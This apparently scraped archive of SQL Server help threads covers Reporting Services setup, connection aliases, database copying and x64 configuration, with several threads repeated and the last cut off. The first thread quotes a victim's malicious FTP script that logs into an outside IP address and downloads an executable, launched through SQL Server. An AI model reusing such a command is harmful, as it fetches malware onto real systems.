malicious process...

Hi,
Since I installed a firewall on my machine, it regularly=20
detects unexpected ftp sessions.
Thanks to a process explorer, I remarked that ftp is=20
launched from a (hidden) cmd.exe, itself lauched by=20
sql.exe (for your info, the ftp command line is : "ftp -n -
s:?.txt" where ?.txt is a textfile in \system32\ ).
What SQL subsystem is able to launch such a process? a=20
stored procedure? a trigger? (fyi, SQLAgent is not=20
running). How can I prevent this to occur?
Thank you for your help,
Fran=E7ois
Note - contents of the textfile :
=20
open 81.244.183.229 19470 =20
user itqavjflw itqavjflw =20
get SCardClnt.exe =20
quit =20Hi
xp_cmdshell or xp_oa* are capable of doing this.
Regards
--
Mike Epprecht, Microsoft SQL Server MVP
Zurich, Switzerland
MVP Program: http://www.microsoft.com/mvp
Blog: http://www.msmvps.com/epprecht/
"Fran?ois G." wrote:

> Hi,
> Since I installed a firewall on my machine, it regularly
> detects unexpected ftp sessions.
> Thanks to a process explorer, I remarked that ftp is
> launched from a (hidden) cmd.exe, itself lauched by
> sql.exe (for your info, the ftp command line is : "ftp -n -
> s:?.txt" where ?.txt is a textfile in \system32\ ).
> What SQL subsystem is able to launch such a process? a
> stored procedure? a trigger? (fyi, SQLAgent is not
> running). How can I prevent this to occur?
> Thank you for your help,
> Fran?ois
>
> Note - contents of the textfile :
> open 81.244.183.229 19470
> user itqavjflw itqavjflw
> get SCardClnt.exe
> quit
>

making virtual directories for sql server 2005 reporting services

I have sql server reporting services installed .

I have reinstalled the iis .

But now when i ever i reinstalled the reporting services i can't see any virtual directory in IIS.

SSRS installed successfully but no virtual directory

Now please let me help in making the virtual directories of sql server 2005 reporting services.

When I reinstall then if i try to connect with management studio I can't.

If i try to check surface area configuration i get following message

"Reporting services is not configured properly sqlsac"

See if the Service came up properly. if not there should be entried in the event log, showing what went wrong during the startup.

HTH, Jens K. Suessmeyer.

http://www.sqlserver2005.de

Making SQL 2005 Developer accept the connection string for SQL express edition

Hi, I have installed on my laptop SQL server 2005 Developer edition, I can change ANY of the settings of the SQL server and OS.

I am writing code with a team using continuous integration where the connection string is the following:
"Provider=SQLNCLI;Server=.\SQLEXPRESS;Database=Secret;Trusted_Connection=Yes;"

is there a way (create an alias,rename server, other?) to make my local dev SQL server accept the connection string above, as at the moment I have to rename the connection string every time before checking in code and after downloading the latest version from the code repository.

any advice or tips will be greatly appreciated

Thanks

JW.Hi,

setup an alias using the SQL Server Configuration manager. Configure a new alias to listen to .\sqlexpress and redirect to the installed dev server.

HTH; Jens K. Suessmeyer.

http://www.sqlserver2005.de

Making Inegration Services visible/available in SSMS 2005

I have installed SQL Server Management Studio 2005 and have been
finding the equivalent of the Data Transfer Services in SQLServer
2000. I think I have worked out that it is in SQL Server Integration
Services but when I open File-New-Project I do not see the SQL Server
Integration Services there, though Help assumes that it is available
for selection when starting a new project..

How can I make it visible in the New Project window?

I have successfully used the import function so I think this means
that Inegration Services is there somewhere.

I would appreciate some advice,

Best wishes, John MorganJohn Morgan wrote:

Quote:

Originally Posted by

I have installed SQL Server Management Studio 2005 and have been
finding the equivalent of the Data Transfer Services in SQLServer
2000. I think I have worked out that it is in SQL Server Integration
Services but when I open File-New-Project I do not see the SQL Server
Integration Services there, though Help assumes that it is available
for selection when starting a new project..
>
How can I make it visible in the New Project window?
>
I have successfully used the import function so I think this means
that Inegration Services is there somewhere.
>
I would appreciate some advice,
>
Best wishes, John Morgan

What version of 2005 are you using?|||John Morgan (jfm@.XXwoodlander.co.uk) writes:

Quote:

Originally Posted by

I have installed SQL Server Management Studio 2005 and have been
finding the equivalent of the Data Transfer Services in SQLServer
2000. I think I have worked out that it is in SQL Server Integration
Services but when I open File-New-Project I do not see the SQL Server
Integration Services there, though Help assumes that it is available
for selection when starting a new project..
>
How can I make it visible in the New Project window?
>
I have successfully used the import function so I think this means
that Inegration Services is there somewhere.

I believe the place to work with Integrations Services is the
Business Intelligence Development Studio.

--
Erland Sommarskog, SQL Server MVP, esquel@.sommarskog.se
Books Online for SQL Server 2005 at
http://www.microsoft.com/technet/pr...oads/books.mspx
Books Online for SQL Server 2000 at
http://www.microsoft.com/sql/prodin...ions/books.mspx|||Thanks both of you. Using your info and investigating the matter
further to make sure I don't hask silly questions has got me the
answer.

I checked the configuration manager and found that integrated services
was listed as running, I looked again and, yes, I did see SQL
Buisiness iIntelligence Studio was part of the programme group.

Opened it up and the VStudio installed templates for Integration
Services Project were visible.

Thanks
John Morgan

On Sun, 28 Jan 2007 08:24:28 -0600, Jonathan Roberts
<gremln007@.diynics.comwrote:

Quote:

Originally Posted by

>John Morgan wrote:

Quote:

Originally Posted by

>I have installed SQL Server Management Studio 2005 and have been
>finding the equivalent of the Data Transfer Services in SQLServer
>2000. I think I have worked out that it is in SQL Server Integration
>Services but when I open File-New-Project I do not see the SQL Server
>Integration Services there, though Help assumes that it is available
>for selection when starting a new project..
>>
> How can I make it visible in the New Project window?
>>
>I have successfully used the import function so I think this means
>that Inegration Services is there somewhere.
>>
>I would appreciate some advice,
>>
>Best wishes, John Morgan

>
>What version of 2005 are you using?

sql

Making an MSDE DB with Access

Hi
I'm trying to create an MSDE database, and I don't have SQL Server
installed. Do i need to have SQL Server installed to create and run the MSDE
database? I thought the whole idea of MSDE was so you don't need SQL server
to create it or run, while only being limited to DB size and limited
concurrent use.
Can anyone shed light on the situation. I seem to be going round and round
in circles regarding this issue on the Microsoft website.
Thanks
Taniel
Simply put MSDE is a scaled down version of SQL Server. There is a size
limit to the MSDE database size and some of the high end features of SQL
Server are not available to the MSDE users. Other than that MSDE users have
all the functionality of SQL Server at their disposal.
If you have MSDE up and running you do not need SQL Server unless you want
to use restricted high end features.
Gajendra
"Taniel" <Taniel@.discussions.microsoft.com> wrote in message
news:78B9FEAD-D233-4747-BAD8-2224C4E7F690@.microsoft.com...
> Hi
> I'm trying to create an MSDE database, and I don't have SQL Server
> installed. Do i need to have SQL Server installed to create and run the
MSDE
> database? I thought the whole idea of MSDE was so you don't need SQL
server
> to create it or run, while only being limited to DB size and limited
> concurrent use.
> Can anyone shed light on the situation. I seem to be going round and round
> in circles regarding this issue on the Microsoft website.
> Thanks
> Taniel

Make sure the application for the project type (.rptproj) is installed

Hi,

Till Some time back my SSRS SSIS services were working fine. I was able to create/open any project from the Business Intelligence Development Studio. That time only BI suite was installed in Visual Studio 2005.

But due to some other requirements , we had to installed Complete VS.NET 2005 on the same system. After the installation i am only able to create/open ASP.NET applications. All earlier Reporting and Integration project are giving error on opening. Even i a m not able to create a new SSRS or SSIS application.

Error Message says:

"The application for the project 'c:\documents and settings\....rtpproj' is not installed.

Make sure the application for the project type (.rptproj) is installed"

I remote login to this server to work on.

There is another thing, one of my colleague when he log in to this system using his ID, he is able to create new porjects. This is system is not a Terminal Server in true sense.

So What should be the solution for this?.

Installation/Reinstallation of Sql Server component or reinstallation of everything.

Or may be some better option.Pls your suggestions will be highly appreciated.

Thanks

Sumit

I think you need to re-install the client components, especially the BI Development Studio|||Can you also check the .NET framework version installed after that VS installation.sql

Make sure the application for the project type (.rptproj) is installed

Hi,

Till Some time back my SSRS SSIS services were working fine. I was able to create/open any project from the Business Intelligence Development Studio. That time only BI suite was installed in Visual Studio 2005.

But due to some other requirements , we had to installed Complete VS.NET 2005 on the same system. After the installation i am only able to create/open ASP.NET applications. All earlier Reporting and Integration project are giving error on opening. Even i a m not able to create a new SSRS or SSIS application.

Error Message says:

"The application for the project 'c:\documents and settings\....rtpproj' is not installed.

Make sure the application for the project type (.rptproj) is installed"

I remote login to this server to work on.

There is another thing, one of my colleague when he log in to this system using his ID, he is able to create new porjects. This is system is not a Terminal Server in true sense.

So What should be the solution for this?.

Installation/Reinstallation of Sql Server component or reinstallation of everything.

Or may be some better option.Pls your suggestions will be highly appreciated.

Thanks

Sumit

I think you need to re-install the client components, especially the BI Development Studio|||Can you also check the .NET framework version installed after that VS installation.|||

I received this same exact error

wondering if you found a "quick" fix, or maybe just one that works

Please help

make a copy of database

Hi:

I have installed sql server 2005 express and SQL Server Management Studio Express

How can I generate a database from another copying the structure and data?

For example I have a database named Customers, I need to make a copy of Customers named Customers2. Customers2 also will be attached to the same Database Engine Server where Customers is attached.

How I Can do it?

Thanks!

P.S.

I tryied to make a copy of mdf an ldf files from Windows Explorer and renamed these files but I could not attach to the same Database Engine Server because I got an error.

The easiest way to do it is with the Backup and Restore Wizard because during restore you can change the name of the new one to customer2, I do it all the time, email the .bak or restore the .bak with a new name for a different department. If you don't have the SQL Server Express Advanced download it from the link below to use the Backup and Restore Wizard. Hope this helps.

http://msdn.microsoft.com/vstudio/express/sql/download/

Major SQL Server 2k5 x64 configuration problem

Dear All,
I've just installed two brand new SQL Server servers with Windows 2003
Server 2003 R2 + SP2 and SQL Server 2005 Standard Edition + SP2.
I now need to configure the network protocols for SQL Server on these
machines, but on both machines the SQL Server instances are not showing up in
the "SQL Server 2005 Configuration manager"
On two other x64 SQL Server 2005 servers which we installed last year I see
a total of 5 icons in the "SQL Server 2005 Configuration manager":
- SQL Server 2005 Services
- SQL Server 2005 Network configuration (32-bit)
- SQL Server 2005 Native Client Configuration (32 Bit)
- SQL Server 2005 Network configuration
- SQL Server 2005 Native Client Configuration
but on the two new servers only the first 3 groups are showing up.
Normaly the x64 Instances are listed in the group as "- SQL Server 2005
Network configuration", but this group is not showing up.
On both servers I only have configured a default (non-named) instance.
Does anybody have a clue what can be wrong or have a hint as where to start
searching for a solution?
Because we posted this question earlier and have not received a single
response I've resorted to crossposting to the following groups:
microsoft.public.sqlserver.server
microsoft.public.sqlserver.tools
microsoft.public.sqlserver.security
microsoft.public.sqlserver.setup
Kind regards,
Tom and Nick, Reeleezee
Solved: through security access failure auditing we saw that user "NETWORK
SERVICE" was getting access denieds for C:\Program Files\Microsoft SQL
Server\90\Shared\sqlmgmprovider.dll.
This was because we ourselves routinely implemented our security lock-down
policy of denying Read/Execute access to "C:\Program Files" and "C:\Program
Files (x86)" to the local USERS group which NETWORK SERVICE belongs to
through being an authenticated user.
We hadn't suspected such a security issue when running the tool as
administrator but apparently the Configuration Tool asks WMI to enumerate the
SQL Server instances and WMI does this under the NETWORK SERVICE account.
(not so for the 32-bit nodes?)
We have had no other issue whatsoever from applying our lock-down policy. I
hope this gets into the MS knowledge base.
Nick
"Nick" wrote:

> Dear All,
> I've just installed two brand new SQL Server servers with Windows 2003
> Server 2003 R2 + SP2 and SQL Server 2005 Standard Edition + SP2.
> I now need to configure the network protocols for SQL Server on these
> machines, but on both machines the SQL Server instances are not showing up in
> the "SQL Server 2005 Configuration manager"
> On two other x64 SQL Server 2005 servers which we installed last year I see
> a total of 5 icons in the "SQL Server 2005 Configuration manager":
> - SQL Server 2005 Services
> - SQL Server 2005 Network configuration (32-bit)
> - SQL Server 2005 Native Client Configuration (32 Bit)
> - SQL Server 2005 Network configuration
> - SQL Server 2005 Native Client Configuration
> but on the two new servers only the first 3 groups are showing up.
> Normaly the x64 Instances are listed in the group as "- SQL Server 2005
> Network configuration", but this group is not showing up.
> On both servers I only have configured a default (non-named) instance.
> Does anybody have a clue what can be wrong or have a hint as where to start
> searching for a solution?
> Because we posted this question earlier and have not received a single
> response I've resorted to crossposting to the following groups:
> microsoft.public.sqlserver.server
> microsoft.public.sqlserver.tools
> microsoft.public.sqlserver.security
> microsoft.public.sqlserver.setup
>
> Kind regards,
> Tom and Nick, Reeleezee
|||File it as a bug on Connect (Connect.microsoft.com) and it will make it to
the dev team. Whether this makes it all the way to KB article is an
entirely different matter.
Geoff N. Hiten
Senior Database Administrator
Microsoft SQL Server MVP
"Nick" <SaintNick@.nospam.nospam> wrote in message
news:0EC7C9F4-EB90-466A-ABC9-BB72E74FECA9@.microsoft.com...[vbcol=seagreen]
> Solved: through security access failure auditing we saw that user "NETWORK
> SERVICE" was getting access denieds for C:\Program Files\Microsoft SQL
> Server\90\Shared\sqlmgmprovider.dll.
> This was because we ourselves routinely implemented our security lock-down
> policy of denying Read/Execute access to "C:\Program Files" and
> "C:\Program
> Files (x86)" to the local USERS group which NETWORK SERVICE belongs to
> through being an authenticated user.
> We hadn't suspected such a security issue when running the tool as
> administrator but apparently the Configuration Tool asks WMI to enumerate
> the
> SQL Server instances and WMI does this under the NETWORK SERVICE account.
> (not so for the 32-bit nodes?)
> We have had no other issue whatsoever from applying our lock-down policy.
> I
> hope this gets into the MS knowledge base.
> Nick
> "Nick" wrote:
|||Nick,
Another set of problems may arise if you also locked down WINDOWS\SysWOW64
(the 32-bit stuff) or WINDOWS\System32 (the 64-bit stuff). For example, this
can prevent the appropriate version of cscript from running, should you have
a SQL Agent job with a cscript step. (And the error message will not be
obvious.)
RLF
"Nick" <SaintNick@.nospam.nospam> wrote in message
news:0EC7C9F4-EB90-466A-ABC9-BB72E74FECA9@.microsoft.com...[vbcol=seagreen]
> Solved: through security access failure auditing we saw that user "NETWORK
> SERVICE" was getting access denieds for C:\Program Files\Microsoft SQL
> Server\90\Shared\sqlmgmprovider.dll.
> This was because we ourselves routinely implemented our security lock-down
> policy of denying Read/Execute access to "C:\Program Files" and
> "C:\Program
> Files (x86)" to the local USERS group which NETWORK SERVICE belongs to
> through being an authenticated user.
> We hadn't suspected such a security issue when running the tool as
> administrator but apparently the Configuration Tool asks WMI to enumerate
> the
> SQL Server instances and WMI does this under the NETWORK SERVICE account.
> (not so for the 32-bit nodes?)
> We have had no other issue whatsoever from applying our lock-down policy.
> I
> hope this gets into the MS knowledge base.
> Nick
> "Nick" wrote:

Major SQL Server 2k5 x64 configuration problem

Dear All,
I've just installed two brand new SQL Server servers with Windows 2003
Server 2003 R2 + SP2 and SQL Server 2005 Standard Edition + SP2.
I now need to configure the network protocols for SQL Server on these
machines, but on both machines the SQL Server instances are not showing up in
the "SQL Server 2005 Configuration manager"
On two other x64 SQL Server 2005 servers which we installed last year I see
a total of 5 icons in the "SQL Server 2005 Configuration manager":
- SQL Server 2005 Services
- SQL Server 2005 Network configuration (32-bit)
- SQL Server 2005 Native Client Configuration (32 Bit)
- SQL Server 2005 Network configuration
- SQL Server 2005 Native Client Configuration
but on the two new servers only the first 3 groups are showing up.
Normaly the x64 Instances are listed in the group as "- SQL Server 2005
Network configuration", but this group is not showing up.
On both servers I only have configured a default (non-named) instance.
Does anybody have a clue what can be wrong or have a hint as where to start
searching for a solution?
Because we posted this question earlier and have not received a single
response I've resorted to crossposting to the following groups:
microsoft.public.sqlserver.server
microsoft.public.sqlserver.tools
microsoft.public.sqlserver.security
microsoft.public.sqlserver.setup
Kind regards,
Tom and Nick, Reeleezee
Solved: through security access failure auditing we saw that user "NETWORK
SERVICE" was getting access denieds for C:\Program Files\Microsoft SQL
Server\90\Shared\sqlmgmprovider.dll.
This was because we ourselves routinely implemented our security lock-down
policy of denying Read/Execute access to "C:\Program Files" and "C:\Program
Files (x86)" to the local USERS group which NETWORK SERVICE belongs to
through being an authenticated user.
We hadn't suspected such a security issue when running the tool as
administrator but apparently the Configuration Tool asks WMI to enumerate the
SQL Server instances and WMI does this under the NETWORK SERVICE account.
(not so for the 32-bit nodes?)
We have had no other issue whatsoever from applying our lock-down policy. I
hope this gets into the MS knowledge base.
Nick
"Nick" wrote:

> Dear All,
> I've just installed two brand new SQL Server servers with Windows 2003
> Server 2003 R2 + SP2 and SQL Server 2005 Standard Edition + SP2.
> I now need to configure the network protocols for SQL Server on these
> machines, but on both machines the SQL Server instances are not showing up in
> the "SQL Server 2005 Configuration manager"
> On two other x64 SQL Server 2005 servers which we installed last year I see
> a total of 5 icons in the "SQL Server 2005 Configuration manager":
> - SQL Server 2005 Services
> - SQL Server 2005 Network configuration (32-bit)
> - SQL Server 2005 Native Client Configuration (32 Bit)
> - SQL Server 2005 Network configuration
> - SQL Server 2005 Native Client Configuration
> but on the two new servers only the first 3 groups are showing up.
> Normaly the x64 Instances are listed in the group as "- SQL Server 2005
> Network configuration", but this group is not showing up.
> On both servers I only have configured a default (non-named) instance.
> Does anybody have a clue what can be wrong or have a hint as where to start
> searching for a solution?
> Because we posted this question earlier and have not received a single
> response I've resorted to crossposting to the following groups:
> microsoft.public.sqlserver.server
> microsoft.public.sqlserver.tools
> microsoft.public.sqlserver.security
> microsoft.public.sqlserver.setup
>
> Kind regards,
> Tom and Nick, Reeleezee
|||File it as a bug on Connect (Connect.microsoft.com) and it will make it to
the dev team. Whether this makes it all the way to KB article is an
entirely different matter.
Geoff N. Hiten
Senior Database Administrator
Microsoft SQL Server MVP
"Nick" <SaintNick@.nospam.nospam> wrote in message
news:0EC7C9F4-EB90-466A-ABC9-BB72E74FECA9@.microsoft.com...[vbcol=seagreen]
> Solved: through security access failure auditing we saw that user "NETWORK
> SERVICE" was getting access denieds for C:\Program Files\Microsoft SQL
> Server\90\Shared\sqlmgmprovider.dll.
> This was because we ourselves routinely implemented our security lock-down
> policy of denying Read/Execute access to "C:\Program Files" and
> "C:\Program
> Files (x86)" to the local USERS group which NETWORK SERVICE belongs to
> through being an authenticated user.
> We hadn't suspected such a security issue when running the tool as
> administrator but apparently the Configuration Tool asks WMI to enumerate
> the
> SQL Server instances and WMI does this under the NETWORK SERVICE account.
> (not so for the 32-bit nodes?)
> We have had no other issue whatsoever from applying our lock-down policy.
> I
> hope this gets into the MS knowledge base.
> Nick
> "Nick" wrote:
|||Nick,
Another set of problems may arise if you also locked down WINDOWS\SysWOW64
(the 32-bit stuff) or WINDOWS\System32 (the 64-bit stuff). For example, this
can prevent the appropriate version of cscript from running, should you have
a SQL Agent job with a cscript step. (And the error message will not be
obvious.)
RLF
"Nick" <SaintNick@.nospam.nospam> wrote in message
news:0EC7C9F4-EB90-466A-ABC9-BB72E74FECA9@.microsoft.com...[vbcol=seagreen]
> Solved: through security access failure auditing we saw that user "NETWORK
> SERVICE" was getting access denieds for C:\Program Files\Microsoft SQL
> Server\90\Shared\sqlmgmprovider.dll.
> This was because we ourselves routinely implemented our security lock-down
> policy of denying Read/Execute access to "C:\Program Files" and
> "C:\Program
> Files (x86)" to the local USERS group which NETWORK SERVICE belongs to
> through being an authenticated user.
> We hadn't suspected such a security issue when running the tool as
> administrator but apparently the Configuration Tool asks WMI to enumerate
> the
> SQL Server instances and WMI does this under the NETWORK SERVICE account.
> (not so for the 32-bit nodes?)
> We have had no other issue whatsoever from applying our lock-down policy.
> I
> hope this gets into the MS knowledge base.
> Nick
> "Nick" wrote:

Major SQL Server 2k5 x64 configuration problem

Dear All,
I've just installed two brand new SQL Server servers with Windows 2003
Server 2003 R2 + SP2 and SQL Server 2005 Standard Edition + SP2.
I now need to configure the network protocols for SQL Server on these
machines, but on both machines the SQL Server instances are not showing up in
the "SQL Server 2005 Configuration manager"
On two other x64 SQL Server 2005 servers which we installed last year I see
a total of 5 icons in the "SQL Server 2005 Configuration manager":
- SQL Server 2005 Services
- SQL Server 2005 Network configuration (32-bit)
- SQL Server 2005 Native Client Configuration (32 Bit)
- SQL Server 2005 Network configuration
- SQL Server 2005 Native Client Configuration
but on the two new servers only the first 3 groups are showing up.
Normaly the x64 Instances are listed in the group as "- SQL Server 2005
Network configuration", but this group is not showing up.
On both servers I only have configured a default (non-named) instance.
Does anybody have a clue what can be wrong or have a hint as where to start
searching for a solution?
Because we posted this question earlier and have not received a single
response I've resorted to crossposting to the following groups:
microsoft.public.sqlserver.server
microsoft.public.sqlserver.tools
microsoft.public.sqlserver.security
microsoft.public.sqlserver.setup
Kind regards,
Tom and Nick, ReeleezeeSolved: through security access failure auditing we saw that user "NETWORK
SERVICE" was getting access denieds for C:\Program Files\Microsoft SQL
Server\90\Shared\sqlmgmprovider.dll.
This was because we ourselves routinely implemented our security lock-down
policy of denying Read/Execute access to "C:\Program Files" and "C:\Program
Files (x86)" to the local USERS group which NETWORK SERVICE belongs to
through being an authenticated user.
We hadn't suspected such a security issue when running the tool as
administrator but apparently the Configuration Tool asks WMI to enumerate the
SQL Server instances and WMI does this under the NETWORK SERVICE account.
(not so for the 32-bit nodes')
We have had no other issue whatsoever from applying our lock-down policy. I
hope this gets into the MS knowledge base.
Nick
"Nick" wrote:
> Dear All,
> I've just installed two brand new SQL Server servers with Windows 2003
> Server 2003 R2 + SP2 and SQL Server 2005 Standard Edition + SP2.
> I now need to configure the network protocols for SQL Server on these
> machines, but on both machines the SQL Server instances are not showing up in
> the "SQL Server 2005 Configuration manager"
> On two other x64 SQL Server 2005 servers which we installed last year I see
> a total of 5 icons in the "SQL Server 2005 Configuration manager":
> - SQL Server 2005 Services
> - SQL Server 2005 Network configuration (32-bit)
> - SQL Server 2005 Native Client Configuration (32 Bit)
> - SQL Server 2005 Network configuration
> - SQL Server 2005 Native Client Configuration
> but on the two new servers only the first 3 groups are showing up.
> Normaly the x64 Instances are listed in the group as "- SQL Server 2005
> Network configuration", but this group is not showing up.
> On both servers I only have configured a default (non-named) instance.
> Does anybody have a clue what can be wrong or have a hint as where to start
> searching for a solution?
> Because we posted this question earlier and have not received a single
> response I've resorted to crossposting to the following groups:
> microsoft.public.sqlserver.server
> microsoft.public.sqlserver.tools
> microsoft.public.sqlserver.security
> microsoft.public.sqlserver.setup
>
> Kind regards,
> Tom and Nick, Reeleezee|||File it as a bug on Connect (Connect.microsoft.com) and it will make it to
the dev team. Whether this makes it all the way to KB article is an
entirely different matter.
--
Geoff N. Hiten
Senior Database Administrator
Microsoft SQL Server MVP
"Nick" <SaintNick@.nospam.nospam> wrote in message
news:0EC7C9F4-EB90-466A-ABC9-BB72E74FECA9@.microsoft.com...
> Solved: through security access failure auditing we saw that user "NETWORK
> SERVICE" was getting access denieds for C:\Program Files\Microsoft SQL
> Server\90\Shared\sqlmgmprovider.dll.
> This was because we ourselves routinely implemented our security lock-down
> policy of denying Read/Execute access to "C:\Program Files" and
> "C:\Program
> Files (x86)" to the local USERS group which NETWORK SERVICE belongs to
> through being an authenticated user.
> We hadn't suspected such a security issue when running the tool as
> administrator but apparently the Configuration Tool asks WMI to enumerate
> the
> SQL Server instances and WMI does this under the NETWORK SERVICE account.
> (not so for the 32-bit nodes')
> We have had no other issue whatsoever from applying our lock-down policy.
> I
> hope this gets into the MS knowledge base.
> Nick
> "Nick" wrote:
>> Dear All,
>> I've just installed two brand new SQL Server servers with Windows 2003
>> Server 2003 R2 + SP2 and SQL Server 2005 Standard Edition + SP2.
>> I now need to configure the network protocols for SQL Server on these
>> machines, but on both machines the SQL Server instances are not showing
>> up in
>> the "SQL Server 2005 Configuration manager"
>> On two other x64 SQL Server 2005 servers which we installed last year I
>> see
>> a total of 5 icons in the "SQL Server 2005 Configuration manager":
>> - SQL Server 2005 Services
>> - SQL Server 2005 Network configuration (32-bit)
>> - SQL Server 2005 Native Client Configuration (32 Bit)
>> - SQL Server 2005 Network configuration
>> - SQL Server 2005 Native Client Configuration
>> but on the two new servers only the first 3 groups are showing up.
>> Normaly the x64 Instances are listed in the group as "- SQL Server 2005
>> Network configuration", but this group is not showing up.
>> On both servers I only have configured a default (non-named) instance.
>> Does anybody have a clue what can be wrong or have a hint as where to
>> start
>> searching for a solution?
>> Because we posted this question earlier and have not received a single
>> response I've resorted to crossposting to the following groups:
>> microsoft.public.sqlserver.server
>> microsoft.public.sqlserver.tools
>> microsoft.public.sqlserver.security
>> microsoft.public.sqlserver.setup
>>
>> Kind regards,
>> Tom and Nick, Reeleezee|||Nick,
Another set of problems may arise if you also locked down WINDOWS\SysWOW64
(the 32-bit stuff) or WINDOWS\System32 (the 64-bit stuff). For example, this
can prevent the appropriate version of cscript from running, should you have
a SQL Agent job with a cscript step. (And the error message will not be
obvious.)
RLF
"Nick" <SaintNick@.nospam.nospam> wrote in message
news:0EC7C9F4-EB90-466A-ABC9-BB72E74FECA9@.microsoft.com...
> Solved: through security access failure auditing we saw that user "NETWORK
> SERVICE" was getting access denieds for C:\Program Files\Microsoft SQL
> Server\90\Shared\sqlmgmprovider.dll.
> This was because we ourselves routinely implemented our security lock-down
> policy of denying Read/Execute access to "C:\Program Files" and
> "C:\Program
> Files (x86)" to the local USERS group which NETWORK SERVICE belongs to
> through being an authenticated user.
> We hadn't suspected such a security issue when running the tool as
> administrator but apparently the Configuration Tool asks WMI to enumerate
> the
> SQL Server instances and WMI does this under the NETWORK SERVICE account.
> (not so for the 32-bit nodes')
> We have had no other issue whatsoever from applying our lock-down policy.
> I
> hope this gets into the MS knowledge base.
> Nick
> "Nick" wrote:
>> Dear All,
>> I've just installed two brand new SQL Server servers with Windows 2003
>> Server 2003 R2 + SP2 and SQL Server 2005 Standard Edition + SP2.
>> I now need to configure the network protocols for SQL Server on these
>> machines, but on both machines the SQL Server instances are not showing
>> up in
>> the "SQL Server 2005 Configuration manager"
>> On two other x64 SQL Server 2005 servers which we installed last year I
>> see
>> a total of 5 icons in the "SQL Server 2005 Configuration manager":
>> - SQL Server 2005 Services
>> - SQL Server 2005 Network configuration (32-bit)
>> - SQL Server 2005 Native Client Configuration (32 Bit)
>> - SQL Server 2005 Network configuration
>> - SQL Server 2005 Native Client Configuration
>> but on the two new servers only the first 3 groups are showing up.
>> Normaly the x64 Instances are listed in the group as "- SQL Server 2005
>> Network configuration", but this group is not showing up.
>> On both servers I only have configured a default (non-named) instance.
>> Does anybody have a clue what can be wrong or have a hint as where to
>> start
>> searching for a solution?
>> Because we posted this question earlier and have not received a single
>> response I've resorted to crossposting to the following groups:
>> microsoft.public.sqlserver.server
>> microsoft.public.sqlserver.tools
>> microsoft.public.sqlserver.security
>> microsoft.public.sqlserver.setup
>>
>> Kind regards,
>> Tom and Nick, Reeleezee

Major SQL Server 2k5 x64 configuration problem

Dear All,
I've just installed two brand new SQL Server servers with Windows 2003
Server 2003 R2 + SP2 and SQL Server 2005 Standard Edition + SP2.
I now need to configure the network protocols for SQL Server on these
machines, but on both machines the SQL Server instances are not showing up i
n
the "SQL Server 2005 Configuration manager"
On two other x64 SQL Server 2005 servers which we installed last year I see
a total of 5 icons in the "SQL Server 2005 Configuration manager":
- SQL Server 2005 Services
- SQL Server 2005 Network configuration (32-bit)
- SQL Server 2005 Native Client Configuration (32 Bit)
- SQL Server 2005 Network configuration
- SQL Server 2005 Native Client Configuration
but on the two new servers only the first 3 groups are showing up.
Normaly the x64 Instances are listed in the group as "- SQL Server 2005
Network configuration", but this group is not showing up.
On both servers I only have configured a default (non-named) instance.
Does anybody have a clue what can be wrong or have a hint as where to start
searching for a solution?
Because we posted this question earlier and have not received a single
response I've resorted to crossposting to the following groups:
microsoft.public.sqlserver.server
microsoft.public.sqlserver.tools
microsoft.public.sqlserver.security
microsoft.public.sqlserver.setup
Kind regards,
Tom and Nick, ReeleezeeSolved: through security access failure auditing we saw that user "NETWORK
SERVICE" was getting access denieds for C:\Program Files\Microsoft SQL
Server\90\Shared\sqlmgmprovider.dll.
This was because we ourselves routinely implemented our security lock-down
policy of denying Read/Execute access to "C:\Program Files" and "C:\Program
Files (x86)" to the local USERS group which NETWORK SERVICE belongs to
through being an authenticated user.
We hadn't suspected such a security issue when running the tool as
administrator but apparently the Configuration Tool asks WMI to enumerate th
e
SQL Server instances and WMI does this under the NETWORK SERVICE account.
(not so for the 32-bit nodes')
We have had no other issue whatsoever from applying our lock-down policy. I
hope this gets into the MS knowledge base.
Nick
"Nick" wrote:

> Dear All,
> I've just installed two brand new SQL Server servers with Windows 2003
> Server 2003 R2 + SP2 and SQL Server 2005 Standard Edition + SP2.
> I now need to configure the network protocols for SQL Server on these
> machines, but on both machines the SQL Server instances are not showing up
in
> the "SQL Server 2005 Configuration manager"
> On two other x64 SQL Server 2005 servers which we installed last year I se
e
> a total of 5 icons in the "SQL Server 2005 Configuration manager":
> - SQL Server 2005 Services
> - SQL Server 2005 Network configuration (32-bit)
> - SQL Server 2005 Native Client Configuration (32 Bit)
> - SQL Server 2005 Network configuration
> - SQL Server 2005 Native Client Configuration
> but on the two new servers only the first 3 groups are showing up.
> Normaly the x64 Instances are listed in the group as "- SQL Server 2005
> Network configuration", but this group is not showing up.
> On both servers I only have configured a default (non-named) instance.
> Does anybody have a clue what can be wrong or have a hint as where to star
t
> searching for a solution?
> Because we posted this question earlier and have not received a single
> response I've resorted to crossposting to the following groups:
> microsoft.public.sqlserver.server
> microsoft.public.sqlserver.tools
> microsoft.public.sqlserver.security
> microsoft.public.sqlserver.setup
>
> Kind regards,
> Tom and Nick, Reeleezee|||File it as a bug on Connect (Connect.microsoft.com) and it will make it to
the dev team. Whether this makes it all the way to KB article is an
entirely different matter.
Geoff N. Hiten
Senior Database Administrator
Microsoft SQL Server MVP
"Nick" <SaintNick@.nospam.nospam> wrote in message
news:0EC7C9F4-EB90-466A-ABC9-BB72E74FECA9@.microsoft.com...[vbcol=seagreen]
> Solved: through security access failure auditing we saw that user "NETWORK
> SERVICE" was getting access denieds for C:\Program Files\Microsoft SQL
> Server\90\Shared\sqlmgmprovider.dll.
> This was because we ourselves routinely implemented our security lock-down
> policy of denying Read/Execute access to "C:\Program Files" and
> "C:\Program
> Files (x86)" to the local USERS group which NETWORK SERVICE belongs to
> through being an authenticated user.
> We hadn't suspected such a security issue when running the tool as
> administrator but apparently the Configuration Tool asks WMI to enumerate
> the
> SQL Server instances and WMI does this under the NETWORK SERVICE account.
> (not so for the 32-bit nodes')
> We have had no other issue whatsoever from applying our lock-down policy.
> I
> hope this gets into the MS knowledge base.
> Nick
> "Nick" wrote:
>|||Nick,
Another set of problems may arise if you also locked down WINDOWS\SysWOW64
(the 32-bit stuff) or WINDOWS\System32 (the 64-bit stuff). For example, this
can prevent the appropriate version of cscript from running, should you have
a SQL Agent job with a cscript step. (And the error message will not be
obvious.)
RLF
"Nick" <SaintNick@.nospam.nospam> wrote in message
news:0EC7C9F4-EB90-466A-ABC9-BB72E74FECA9@.microsoft.com...[vbcol=seagreen]
> Solved: through security access failure auditing we saw that user "NETWORK
